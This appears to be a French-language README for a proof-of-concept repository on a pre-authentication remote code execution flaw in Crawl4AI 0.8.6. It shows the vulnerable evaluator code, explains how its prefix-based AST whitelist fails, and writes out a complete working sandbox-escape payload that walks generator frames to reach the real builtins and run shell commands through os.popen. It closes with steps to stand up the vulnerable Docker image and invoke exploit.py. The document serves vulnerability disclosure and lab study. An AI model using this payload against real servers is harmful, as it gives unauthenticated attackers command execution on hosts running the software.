CVE-2026-53753 — Crawl4AI <0.8.7 RCE non authentifié (évasion du sandbox AST via gi_frame.f_back). Lab + PoC, vérifié e2e.
RCE pré-authentification dans Crawl4AI
< 0.8.7. Un schémaJsonCssExtractionStrategyfabriqué envoyé au point de terminaison non authentifiéPOST /crawlatteint l'évaluateur de champs calculés (_safe_eval_expression), échappe à sa liste blanche AST via les objets cadre Python, atteint lesbuiltinsréels, et exécute__import__('os').popen(<cmd>).read()— renvoyant la sortie de la commande dans le canal dans la réponse JSON.
| CVE | CVE-2026-53753 |
| Avis | GHSA-qxjp-w3pj-48m7 |
| Affecté | Crawl4AI <= 0.8.6 |
| Corrigé | 0.8.7 |
| Classe | CWE-94 (Injection de code) / Échappement du bac à sable Python |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentification | Aucune — la configuration livrée a jwt_enabled: false |
| Statut | CONFIRMÉ — reproduit de bout en bout contre l'image officielle unclecode/crawl4ai:0.8.6 |
Plongée : voir
ANALYSIS.mdpour une analyse nœud par nœud de l'AST, la pile de trames d'exécution, le flux de données de la requête et le diff du correctif.
crawl4ai/extraction_strategy.py permet à un schéma d'extraction de définir des champs
calculés — de petites expressions Python évaluées par élément extrait. Elles sont exécutées par
_safe_eval_expression(), qui tente de mettre l'expression en bac à sable avec une liste
blanche AST et un __builtins__ réduit :
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
Le validateur est refus-par-préfixe : il ne rejette que les noms qui commencent par _
(plus import). Cette unique heuristique constitue tout le bac à sable — et elle comporte trois
failles qui se combinent en une évasion complète :
| # | Faille | Pourquoi c'est important |
|---|---|---|
| 1 | gi_frame, f_back, f_builtins ne commencent pas par _ | Toute la surface d'introspection des trames/générateurs Python est accessible. |
| 2 | obj['__import__'] est un ast.Subscript, pas un ast.Attribute | Le validateur n'inspecte jamais les clés de dictionnaire dans les indices, donc la clé dunder __import__ passe. |
| 3 | La chaîne f_back d'un générateur en cours d'exécution mène à une trame externe dont f_builtins est le véritable builtins | Contourne le _SAFE_EVAL_BUILTINS réduit pour revenir au builtins complet (__import__, etc.). |
Le schéma atteint cette fonction sans authentification : l'API Docker fournit
security.jwt_enabled: false, donc la dépendance de jeton pour /crawl est lambda: None.
L'expression du champ calculé est :
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
Lecture morceau par morceau :
| Fragment | Rôle | Pourquoi le validateur l'autorise |
|---|---|---|
(lambda: ... )() | Crée une portée de fonction pour que le nom lié par walrus vive dans une cellule de fermeture. | ast.Lambda n'est pas vérifié. |
g := ( <expr> for i in [1]) | Lie le générateur à g et le corps du générateur référence g (lui-même). | := et les expressions de générateur ne sont pas vérifiés. (Walrus est illégal dans un itérable de compréhension, donc il est placé dans un élément de tuple à la place.) |
list(g) | Fait tourner le générateur — donc sa trame est vivante quand le corps s'exécute. | list est dans les builtins sécurisés. |
g.gi_frame | L'objet trame du générateur. | gi_frame ne commence pas par _. |
.f_back.f_back.f_back | Remonte trois trames jusqu'à une avec les builtins réels. | f_back ne commence pas par _. |
.f_builtins | La mapping des builtins de cette trame (le vrai). | f_builtins ne commence pas par _. |
['__import__'] | Récupère __import__ depuis le dictionnaire des builtins. | Indice de dictionnaire — jamais inspecté. |
('os') | __import__('os') → le module os. | La cible de l'appel est un Subscript, pas un Name/Attribute. |
.popen('id').read() | Exécute la commande et retourne sa sortie standard. | popen/read ne commencent pas par _. |
Comme la valeur du générateur est os.popen(cmd).read(), la sortie standard de la
commande devient la valeur du champ et est renvoyée dans la réponse /crawl — un oracle
dans le canal, pas besoin d'OAST.
Pendant que list(g) itère le générateur, la pile d'appels ressemble à ceci :
frame: _safe_eval_expression() <-- builtins réels (__import__ vit ici) ← f_back ×3
└ frame: <expression> (eval) <-- builtins en bac à sable (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- bac à sable ← f_back ×1
└ frame: <genexpr> g <-- EN COURS ; g.gi_frame est cette trame ← gi_frame
g.gi_frame.f_back n'est renseigné que pendant que le générateur tourne (c'est
pourquoi le générateur doit se référencer lui-même et être piloté par list(g) — un
générateur non encore démarré a f_back is None). Remonter f_back trois fois atterrit
sur la trame _safe_eval_expression, dont f_builtins est le module builtins complet
— à partir duquel __import__ est extrait par indice.
La profondeur de trame est stable pour ce chemin de code :
f_back × 3est correct pour_safe_eval_expressionde Crawl4AI 0.8.6.
L'image officielle fournit la configuration vulnérable par défaut (sans authentification) :
# Option A — docker compose (hôte Docker normal avec réseau bridge)
docker compose -f lab/docker-compose.yml up -d
# Option B — docker run simple
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
Attendez environ 20 s que le pool de navigateurs chauffe (docker logs crawl4ai-vuln →
Application startup complete).
# Inspectez le corps de la requête sans l'envoyer :
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload